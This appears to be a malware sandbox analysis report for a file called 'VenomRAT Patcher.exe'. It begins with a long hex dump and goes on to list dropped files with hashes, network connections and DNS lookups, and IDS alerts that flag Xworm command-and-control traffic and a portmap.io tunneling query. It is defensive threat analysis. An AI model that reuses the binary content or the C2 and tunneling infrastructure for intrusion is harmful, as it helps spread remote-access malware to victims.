5466D133652573A3762E5CCFEFEEE6C2E9FC826D1A24E18989F4882916C6B57229FA0E15CD2B233E901DA6A66CC44CEDC984AD20633CF8F9E74D2B672D6DE7CEB65E9DC6822D391C8A5517392D4610EA6B35BE137D77DB435BD2F9B4A98999E44363168A6C44370741693004BE72ADBD0315942FBC6B2C921DBCAA6AF615E8A86766441340186AE06E8B4864712B6D963E687AC946B49D10E99049A96F094B937319A29E3E96283CD49E4863AAD9449390CEAE1068BB6CD5C0E7172F0F4C890694BB30F9E48E6A5B9DEB686BB8761130B711A3C6D0F06729B352DB6BB1DE7270632266D1DCDE6D3C3E6B6B1117363229BCAC870C6589E4B19721E5B3155223B88D6FA34C00E3B9D3737A5B3EE3CAE10927495166297B792564610572AF559C9FD6E535C0F372023C4D8621BB65AA376D22CE29D891179B68F8C64D249C957C47702DE67E6F3FCDE50E89C656631C1685D2A9DB7EC0EDBBA5A0CEE43C2BBBA8B636189BDC1CC9A36C8A9F67CDE4E0F8C82B561345D816D343323979863575B766597E2288E5699DC650E8C0E0E9AF6662BCBCBF26C4CD6A34C3B43C13203EA219BD31368EDB99C393C9019DB96CE57926115B2DA4E39ABBC4271140887B639317C36317622650E27ECFD65D6B6848DC0ACB7D11FF6EE9F6C1864A6CCEC64599C14979936A76999D933B6C1B646473AAD0C27EA0456715C97994BDAE991894C2734125BACF6C44169E5260F468EA54693F9C98C4E6B64CC4E0F0E9D9585A59A1D2B33DC3520F47C7A209D49E72BB8922B1D63EC1A4B1E9CB792E592B54E0BE9ED546507ED4B5C85C066535832661A4DB70C39088FEF4319A1E4803C580A2FCF8ED1BD7B4DBB4472BB575219706BCB5EEA45BA178BAD53DA98B02E9BB452159C2E3B7135D056AE071564D7E056375CCCE1E5CEAB67F952E7153C1B5B89BAF5ADC4741BB0DB6D4D9C113D365978F4E40651B7079DE41121702997B862DB192D94F5995140485C6F65B0AFF526F243E2AB1DE994DBDA646607D1745CE22223C9340D5CB61FD14581EE4C64320389E47E426267737B2D7B787D3A8BED2083AA433D093B3794C89C7DB368ED19EB33EDABD24933D78AEDD3B431AC6813AB6A65B15772A1CDB8DB6C6B2A830E1B3B2DDB94E65673D8CA9B48E6FD796B4428BD487ADAB03B3D021BCDC430F5A0873DE6226C4E6F02AB8C32CEE36AE7E14C89C7F0B009D724DB33831612706898D847656CC0CAE7AD61EAEEB4C746F256C9DC52F1C4FE46037D494004D2B2B0616689D704C7B92F699B665662E7B444193B8D4230E652CE6A792BAC4B0F66A937338A6CA2A16EEC8EC401974669E76FADD8B0447445A14641A8C458A3DEF44133B365846B69DAAA9839BB373D383A91B821630D2432E96B2610B79A7BDDDA22CBA6D7CAA505597730698E381D9376961739A5AE5E77306F27BAB37B2D922D92AB73525077B391361C230BC9B48B68E7A89DB31C6CB7695BD491CE0F2746A82F639A2362E2366B64620694BD0B7B2961534FD73227566E9A158F6F34CCFE9978A4038DF78E494477CD4C66F48CED30078AF97B06B76FC44CA613196751916B98BB8644F7ADE594814B6CE7FC6872AB148B94D96539D9C0FBA5EC87EE60D6B3285432D8CC0B8121BC84305E65DA79B773517F6441A9D989D4B4DD63DE3ADBB630AB999F800F39DEA77604194757B45A930E94470F0A183FDBD7F5F5779949F1B1ED9EC0CA3873A1E6046E19DF0E8B7BF3366DB0132343E964AE54CDD289C1AC95CB33890DE8B046B3A9DC1B54902E53DCEFD4AC7238684270DE60EC84B38CDBF38C622D55C91AF92B828A317A23296FC8779320E7AE6ED4C3C9B412A1D52EB19C63016A38970868E59C3173CEB6D99EC9F09699E3D5E034B2EB3389C19C7B0C74DAA9AB9DE75E87E3FE06587649F758475C9CDD2696BB699B382CAF3B00A34BFAEF4867533841B5AE47117406636E6701E6C8C942AE47394A768CA272A231E2AE4F140C273987B03F940ECF6E4AE78A870327E57393523D474EE9B2D07212174EC9758DA4DBAFC67699459B12A556B130C269C962D3D57FB3996F759C22EA2215480A23DB8336D4722CE44338392B1C5E71D709B9E72BE79CE15E61B01530279346F97624BB7BE8DE3C651830B6D1E43312C94989AC91FE7507390FD379540D9C825043018652C98E8CD3BDCBB9B850B7ECB6480746D665AF4AE362C49749DA6F8E0DA4FACDABB83D6C61A774DBBD569A61D16B7C8972EFB3F9849D7703C4DD00DA07186EC4B2C3C50845A274CCE17F23C64550AEC5CE41C136076D5E938E73DC12EC22D8D1B2AED72875B09CD72870EDB69D18A3D498EC1838D917A7E83393A3C8DBB156A7540F72391873B2C93D3C527B2AC5715B9F184E03BB143988FEECBAEEAC79C0C5CAE98A00213D40C267562FE1F0408394A62CB5D256C2898E2C506C4A4A9BF4ADD4450B49E17703C15EEAA6CDB481D610D5F5A1878DBE19FCE9C2F36A48A04825753B8D104DED44CB82241C138567E24FD695DBEC3E774236F74BA3C77ED02E411FE817E9121DF6A307CB8434CF5B31739A8629019D4D3A8FF6816ACAF71BBD97DFD039F8AB0B7B6EDEFCF8EB0F9FFC4E8EBC3145313C31527C6844228C8619A8BE98AA84C3426DD7635EB4C361AD2EDAA544AB9C87E13C12CE63AD5707C71BA35AE296C120C160ADAE7BA2D7AAD16B7DA4AA8D8D3A29D174A4F0942F46D1C2F7749E044F1F3A16C60DF00AFF82BF3CAE8115686CD0A040B4F09CA6AB8DD1C2518D183B0A7DC35E34E5F55395EE3522856391C247C0A98A799448E1E548E11791C22FD1C5088B1D8646D4142DFCC947C43046E82DF018FA84D97EC3874653B826A6450B7736F90C2332EE8F8EFB1AAB75BF6AA8FC89168EB00631C5400F18DAE4C3D88038CBA7635A1E04410147E38F32BD51EC3A0A0DA3855B9A7C4D3E2070033C09C3554C1109C4BC863B5B987B1D2DFD0DEB9A5A1EA5B2B92C5EADD1834DE1B0BF416D50551F7C7734405E10C210314B238F110EABAAD6C0CE6E10171A063B2D32DE06092A7BCD1756B569A08523E3ED18C07185ED4DBEB046F05493AF5A8781C7E1ADE3067F54C775C71193261FFB6FBC1B4981EE1E5DE1F490111A2B095D31F213E805D39BD827621AC4F2D30F5DA2E3A1C8F8A57087DB1DBD656A23EA48B8375AF86CB4F0A058ACF1244D3EF66664FC0A4997078D98876906FAEBD1C24312F287A28547239BE04D8480FD98902C7A343A6E86629AC21670728CA73191114DC3830DB3F5900CBB255A781C86450B27E1E8A38D6A3189403FEA87FF043FE6E86D3AA9A2347AB5E8F8015D6807106A76CDE3ECB8C61A95730F163A22259D7C358E9E3BA1B128DA30470F3756CE3C61D6875427F498A8010B48F51B48228F014773F81B1B81A98DC06471A57DBA3A135ACE245F8D4233C91B506612D65A2D56A02A6BB296743C87F1741F6A2DF7AA258E0F3038F2816BDE7AD9B4A5CF1F313EB5A6FFED91EF052EF0CA17A6DC75EE3E0DF799709F6B3D5AF45AF8A1308E4603378EA81A924AE5E64DAA16F02098DCBE45D50C74D9C8ED8F7AB448AF17E953C5C0609060B096C1B5B22EC79DD53DCE9406837C8D61A93942BC13FE5464C519864EDE8606A3A1018BBF41E3601F0FA3B7849A79AACFE7E7FC96EC41CED7443631B5C1309CDE0F190671913886E54A6438B4069DD446A661063FD63445D37A8D028FC2A78B1445A999C92FD31B1A6A223BB166D0F07B0DB6C5605B0CB6C5605B0CB6C5605BB8D9E08D231886E2FE0BEA99FC4BD96D6AFD0E6C4E9BAD6CE99A83FD14072005FD9CAFA645150A4DBC92C85772B04B28142DBD1E897DE9782CB678D1E2C544F3159AB378E5DEF3CF4F2C4E2C34932BF62E5C9A5C965CB862E5CAE4C2C5CBDB12038915CB536DE6F9445598A3AD7511FF21DAA0D0F4D6CDEBB6955E19B5B8AF1556F337FEA06A784A89C52FE53289317E1955C36362254E6CA951FCE2538342819EB16DE630BAE64DA3AD3453BB424BCE3CAEB66EC3E536D78A53A3951DCC8CF18BC55491D9319AE63B8FD1B6BC2861B742979C796EEECB8FA6D256ABF31A0E92DC9DDBB9EB9A7689D097E6779FFC96CB7DF367D97E486E73451B8AFBCDC084424B8B875273A0B5F456A1F83A14535889918DF9FC8873362BD2A3935F7FD79EED2D3911166A10C7F3D2158A6A150A835079B396188126F7B36287CA7B48514AE960CD1FFE27A1DF7CE2D52F72206EC24F6692BB8B2D7EA76EDA2DB1E24BF9965831EA4B1D67B7C4DC2BF5EAAC398A4B77A625D63B3A00FD70DCDA66ED37B3AB079069CB92CB96B7AD5CB2D45CB462E5ECC9933967EF2201AA56FE9F00BDED5DFC97757EBEBF4C7E9DDB313AEBE795FE4A0C4749BB2B93E949A4B3CE2F174CE7550E7FFE3C17326ACE2AE47F3EFF9F7C9CEF683714FF978D0A3AAF8F4567A1F387FFEF889DE0ACAAF8FF335679F84B4D97E154DE0FB80E67FF3E9CEEB7E07CDF2FA7FCF5CEFFBA410F795F3D4DEE776E2A65AE7131FE7DE419FF2D867C875981D404CEEDEB71AACFE08CDE8D53FF5EF91714447364D4367013A0E6C04F106E56E0665D099FF27E58BEEBD307BA2DB793C1B3483A287D1695FE2CA501F77BF3EC8F4EF419C61FBE6FE429E74A3EB7823722F38FC1DA84F42BEBCFDF542DCEE7DC4292A2C7C8043DF9BE340C2C5FEAB51F6DB9A9400FA342C665F8B1C12F8F6DC37D6B51E987E7E46FC0768BAEDC370B9D32159ABDF15CAD9492FB16C799656C921B118FEE14FE98683E4843C4FF9FC9645A8C8EE327468BF9FB6BC45FB45B203E2ACB712295120D38A6FB4BDE24F4E239B7B8F2D2AEDE45BBB3FF29FD5789DF7BE5B697C22D34891E95B1F94BFE5E2AFE9E38F64CAF9FE9F31532A61D3D722279005A8CC1137F6DDC7FEB678FF36F15AAFEDB27FE9FCFFF0B9FFF00182C66F0004A0000
Executable files
57
Suspicious files
3
Text files
12
Unknown types
0

Dropped files

PID
Process
Filename
Type
3884VenomRAT Patcher.exeC:\Users\admin\AppData\Local\Temp\_MEI38842\_decimal.pydexecutable
MD5:21FCB8E3D4310346A5DC1A216E7E23CA
SHA256:9A0E05274CAD8D90F6BA6BC594261B36BFBDDF4F5CA6846B6367FE6A4E2FDCE4
3884VenomRAT Patcher.exeC:\Users\admin\AppData\Local\Temp\_MEI38842\_lzma.pydexecutable
MD5:D63E2E743EA103626D33B3C1D882F419
SHA256:7C2D2030D5D246739C5D85F087FCF404BC36E1815E69A8AC7C9541267734FC28
3884VenomRAT Patcher.exeC:\Users\admin\AppData\Local\Temp\_MEI38842\_socket.pydexecutable
MD5:566CB4D39B700C19DBD7175BD4F2B649
SHA256:77EBA293FE03253396D7BB6E575187CD026C80766D7A345EB72AD92F0BBBC3AA
3884VenomRAT Patcher.exeC:\Users\admin\AppData\Local\Temp\_MEI38842\api-ms-win-core-debug-l1-1-0.dllexecutable
MD5:226A5983AE2CBBF0C1BDA85D65948ABC
SHA256:591358EB4D1531E9563EE0813E4301C552CE364C912CE684D16576EABF195DC3
3884VenomRAT Patcher.exeC:\Users\admin\AppData\Local\Temp\_MEI38842\_ssl.pydexecutable
MD5:689F1ABAC772C9E4C2D3BAD3758CB398
SHA256:D3A89AA7E4A1DF1151632A8A5CAF338C4DDDB674EC093BFDBC122ADC9DB28A97
3884VenomRAT Patcher.exeC:\Users\admin\AppData\Local\Temp\_MEI38842\api-ms-win-core-fibers-l1-1-0.dllexecutable
MD5:B5E2760C5A46DBEB8AE18C75F335707E
SHA256:91D249D7BC0E38EF6BCB17158B1FDC6DD8888DC086615C9B8B750B87E52A5FB3
3884VenomRAT Patcher.exeC:\Users\admin\AppData\Local\Temp\_MEI38842\api-ms-win-core-datetime-l1-1-0.dllexecutable
MD5:8F8EB9CB9E78E3A611BC8ACAEC4399CB
SHA256:1BD81DFD19204B44662510D9054852FB77C9F25C1088D647881C9B976CC16818
3884VenomRAT Patcher.exeC:\Users\admin\AppData\Local\Temp\_MEI38842\api-ms-win-core-console-l1-1-0.dllexecutable
MD5:9F746F4F7D845F063FEA3C37DCEBC27C
SHA256:88ACE577A9C51061CB7D1A36BABBBEFA48212FADC838FFDE98FDFFF60DE18386
3884VenomRAT Patcher.exeC:\Users\admin\AppData\Local\Temp\_MEI38842\api-ms-win-core-errorhandling-l1-1-0.dllexecutable
MD5:C2F8C03ECCE9941492BFBE4B82F7D2D5
SHA256:D56CE7B1CD76108AD6C137326EC694A14C99D48C3D7B0ACE8C3FF4D9BCEE3CE8
3884VenomRAT Patcher.exeC:\Users\admin\AppData\Local\Temp\_MEI38842\api-ms-win-core-file-l1-1-0.dllexecutable
MD5:9F45A47EBFD9D0629F4935764243DD5A
SHA256:1CA895ABA4E7435563A6B43E85EBA67A0F8C74AA6A6A94D0FC48FA35535E2585
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
31
DNS requests
23
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
2.20.245.139:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5384
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
5384
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
2.20.245.139:80
crl.microsoft.com
Akamai International B.V.
SE
whitelisted
—
—
2.23.246.101:80
www.microsoft.com
Ooredoo Q.S.C.
QA
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
4880
VenomRAT Patcher.exe
140.82.121.3:443
github.com
GITHUB
US
whitelisted
4880
VenomRAT Patcher.exe
185.199.108.133:443
objects.githubusercontent.com
FASTLY
US
whitelisted
6544
svchost.exe
40.126.31.71:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 4.231.128.59
  • 51.124.78.146
whitelisted
crl.microsoft.com
  • 2.20.245.139
  • 2.20.245.137
whitelisted
www.microsoft.com
  • 2.23.246.101
  • 95.101.149.131
whitelisted
google.com
  • 142.250.185.110
whitelisted
client.wns.windows.com
  • 172.211.123.248
  • 172.211.123.250
whitelisted
github.com
  • 140.82.121.3
  • 140.82.121.4
whitelisted
objects.githubusercontent.com
  • 185.199.108.133
  • 185.199.110.133
  • 185.199.109.133
  • 185.199.111.133
whitelisted
login.live.com
  • 40.126.31.71
  • 40.126.31.73
  • 40.126.31.69
  • 40.126.31.1
  • 40.126.31.131
  • 20.190.159.23
  • 20.190.159.130
  • 40.126.31.0
whitelisted
ocsp.digicert.com
  • 2.23.77.188
whitelisted
pastebin.com
  • 104.22.68.199
  • 172.67.25.94
  • 104.22.69.199
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Online Pastebin Text Storage
2196
svchost.exe
Potential Corporate Privacy Violation
ET INFO DNS Query to a Reverse Proxy Service Observed
2196
svchost.exe
Misc activity
ET INFO DNS Query for Port Mapping/Tunneling Service Domain (.portmap .io)
6708
RuntimeBroker.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm Network Packet
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
VenomRAT Patcher.exe